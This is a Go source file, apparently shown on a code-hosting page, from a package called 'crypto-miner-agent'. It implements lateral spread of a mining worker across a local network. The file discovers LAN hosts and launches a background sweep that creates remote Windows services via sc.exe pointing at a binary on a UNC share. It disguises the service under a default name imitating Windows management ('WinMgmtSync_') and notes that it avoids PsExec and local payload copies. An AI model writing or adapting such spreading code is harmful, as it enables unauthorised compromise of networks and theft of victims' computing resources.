54 lines
1.6 KiB
Go
54 lines
1.6 KiB
Go
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// SMBUNCSpreadOpts configures remote sc.exe service creation against a UNC Forge share.
|
|
type SMBUNCSpreadOpts struct {
|
|
UNCPath string
|
|
MaxHosts int
|
|
SvcName string
|
|
}
|
|
|
|
// ValidateUNCSpreadPath ensures the operator-supplied UNC points at a binary on a share.
|
|
func ValidateUNCSpreadPath(unc string) error {
|
|
unc = strings.TrimSpace(unc)
|
|
if unc == "" {
|
|
return fmt.Errorf("unc_path is required (e.g. \\\\forge-host\\pathforge$\\worker.exe)")
|
|
}
|
|
lower := strings.ToLower(unc)
|
|
if !strings.HasPrefix(lower, `\\`) {
|
|
return fmt.Errorf("unc_path must start with \\\\")
|
|
}
|
|
if strings.Contains(unc, "..") {
|
|
return fmt.Errorf("unc_path must not contain ..")
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// RunSMBUNCSpread triggers a non-blocking LAN sweep that creates remote services via sc.exe
|
|
// pointing at a UNC Forge output share (no PsExec, no local payload copy).
|
|
func RunSMBUNCSpread(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts) string {
|
|
if err := ValidateUNCSpreadPath(opts.UNCPath); err != nil {
|
|
return "smb unc spread rejected: " + err.Error()
|
|
}
|
|
maxHosts := opts.MaxHosts
|
|
if maxHosts <= 0 {
|
|
maxHosts = 64
|
|
}
|
|
targets := DiscoverLANSpreadTargets(maxHosts)
|
|
go runSMBUNCSpreadSweep(cfg, opts, targets)
|
|
return fmt.Sprintf("smb unc spread started on %d LAN target(s) via sc.exe → %s", len(targets), opts.UNCPath)
|
|
}
|
|
|
|
func smbUNCSvcName(cfg config.RuntimeConfig, override string) string {
|
|
if strings.TrimSpace(override) != "" {
|
|
return sanitizeName(override)
|
|
}
|
|
return "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
|
}
|